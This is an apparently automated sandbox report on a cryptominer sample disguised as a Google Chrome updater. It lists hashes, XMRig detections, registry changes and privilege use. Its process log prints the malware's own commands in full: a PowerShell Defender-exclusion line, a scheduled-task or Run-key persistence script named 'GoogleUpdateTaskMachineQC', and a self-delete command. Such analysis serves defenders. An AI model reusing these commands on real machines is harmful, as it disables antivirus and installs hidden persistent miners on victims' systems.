Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1799s -
max time network
1800s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231129-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 3580 created 3496 3580 3JynzWc6LxNCT2y8.exe 51 PID 3580 created 3496 3580 3JynzWc6LxNCT2y8.exe 51 PID 3580 created 3496 3580 3JynzWc6LxNCT2y8.exe 51 PID 3580 created 3496 3580 3JynzWc6LxNCT2y8.exe 51 PID 3080 created 3496 3080 updater.exe 51 PID 3080 created 3496 3080 updater.exe 51 PID 3080 created 3496 3080 updater.exe 51 PID 3080 created 3496 3080 updater.exe 51 PID 3080 created 3496 3080 updater.exe 51 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral2/memory/704-126-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-130-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-131-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-133-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-136-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-139-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-141-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-143-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-145-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-147-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-149-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-151-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-153-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-155-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-157-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-159-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-161-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-163-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-165-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-167-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-169-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-171-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-173-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-175-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-177-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-179-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-181-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-183-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-185-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig behavioral2/memory/704-187-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 3080 updater.exe -
resource yara_rule behavioral2/memory/704-122-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-126-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-130-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-131-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-133-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-136-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-139-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-141-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-143-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-145-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-147-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-149-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-151-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-153-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-155-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-157-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-159-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-161-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-163-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-165-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-167-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-169-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-171-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-173-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-175-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-177-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-179-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-181-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-183-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-185-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx behavioral2/memory/704-187-0x00007FF7A1E30000-0x00007FF7A2624000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3080 set thread context of 2304 3080 updater.exe 115 PID 3080 set thread context of 704 3080 updater.exe 117 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe 3JynzWc6LxNCT2y8.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1648 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 3580 3JynzWc6LxNCT2y8.exe 3580 3JynzWc6LxNCT2y8.exe 1396 powershell.exe 1396 powershell.exe 3580 3JynzWc6LxNCT2y8.exe 3580 3JynzWc6LxNCT2y8.exe 5080 powershell.exe 5080 powershell.exe 3580 3JynzWc6LxNCT2y8.exe 3580 3JynzWc6LxNCT2y8.exe 3580 3JynzWc6LxNCT2y8.exe 3580 3JynzWc6LxNCT2y8.exe 4872 powershell.exe 4872 powershell.exe 3080 updater.exe 3080 updater.exe 804 powershell.exe 804 powershell.exe 3080 updater.exe 3080 updater.exe 2168 powershell.exe 2168 powershell.exe 3080 updater.exe 3080 updater.exe 3080 updater.exe 3080 updater.exe 2304 conhost.exe 2304 conhost.exe 3080 updater.exe 3080 updater.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1396 powershell.exe Token: SeDebugPrivilege 5080 powershell.exe Token: SeIncreaseQuotaPrivilege 5080 powershell.exe Token: SeSecurityPrivilege 5080 powershell.exe Token: SeTakeOwnershipPrivilege 5080 powershell.exe Token: SeLoadDriverPrivilege 5080 powershell.exe Token: SeSystemProfilePrivilege 5080 powershell.exe Token: SeSystemtimePrivilege 5080 powershell.exe Token: SeProfSingleProcessPrivilege 5080 powershell.exe Token: SeIncBasePriorityPrivilege 5080 powershell.exe Token: SeCreatePagefilePrivilege 5080 powershell.exe Token: SeBackupPrivilege 5080 powershell.exe Token: SeRestorePrivilege 5080 powershell.exe Token: SeShutdownPrivilege 5080 powershell.exe Token: SeDebugPrivilege 5080 powershell.exe Token: SeSystemEnvironmentPrivilege 5080 powershell.exe Token: SeRemoteShutdownPrivilege 5080 powershell.exe Token: SeUndockPrivilege 5080 powershell.exe Token: SeManageVolumePrivilege 5080 powershell.exe Token: 33 5080 powershell.exe Token: 34 5080 powershell.exe Token: 35 5080 powershell.exe Token: 36 5080 powershell.exe Token: SeIncreaseQuotaPrivilege 5080 powershell.exe Token: SeSecurityPrivilege 5080 powershell.exe Token: SeTakeOwnershipPrivilege 5080 powershell.exe Token: SeLoadDriverPrivilege 5080 powershell.exe Token: SeSystemProfilePrivilege 5080 powershell.exe Token: SeSystemtimePrivilege 5080 powershell.exe Token: SeProfSingleProcessPrivilege 5080 powershell.exe Token: SeIncBasePriorityPrivilege 5080 powershell.exe Token: SeCreatePagefilePrivilege 5080 powershell.exe Token: SeBackupPrivilege 5080 powershell.exe Token: SeRestorePrivilege 5080 powershell.exe Token: SeShutdownPrivilege 5080 powershell.exe Token: SeDebugPrivilege 5080 powershell.exe Token: SeSystemEnvironmentPrivilege 5080 powershell.exe Token: SeRemoteShutdownPrivilege 5080 powershell.exe Token: SeUndockPrivilege 5080 powershell.exe Token: SeManageVolumePrivilege 5080 powershell.exe Token: 33 5080 powershell.exe Token: 34 5080 powershell.exe Token: 35 5080 powershell.exe Token: 36 5080 powershell.exe Token: SeIncreaseQuotaPrivilege 5080 powershell.exe Token: SeSecurityPrivilege 5080 powershell.exe Token: SeTakeOwnershipPrivilege 5080 powershell.exe Token: SeLoadDriverPrivilege 5080 powershell.exe Token: SeSystemProfilePrivilege 5080 powershell.exe Token: SeSystemtimePrivilege 5080 powershell.exe Token: SeProfSingleProcessPrivilege 5080 powershell.exe Token: SeIncBasePriorityPrivilege 5080 powershell.exe Token: SeCreatePagefilePrivilege 5080 powershell.exe Token: SeBackupPrivilege 5080 powershell.exe Token: SeRestorePrivilege 5080 powershell.exe Token: SeShutdownPrivilege 5080 powershell.exe Token: SeDebugPrivilege 5080 powershell.exe Token: SeSystemEnvironmentPrivilege 5080 powershell.exe Token: SeRemoteShutdownPrivilege 5080 powershell.exe Token: SeUndockPrivilege 5080 powershell.exe Token: SeManageVolumePrivilege 5080 powershell.exe Token: 33 5080 powershell.exe Token: 34 5080 powershell.exe Token: 35 5080 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 376 wrote to memory of 2152 376 cmd.exe 103 PID 376 wrote to memory of 2152 376 cmd.exe 103 PID 4872 wrote to memory of 1872 4872 powershell.exe 104 PID 4872 wrote to memory of 1872 4872 powershell.exe 104 PID 3080 wrote to memory of 2304 3080 updater.exe 115 PID 4760 wrote to memory of 1648 4760 cmd.exe 116 PID 4760 wrote to memory of 1648 4760 cmd.exe 116 PID 3080 wrote to memory of 704 3080 updater.exe 117 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3496
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:3580
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1396
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5080
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:376 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2152
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4872 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:1872
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:804
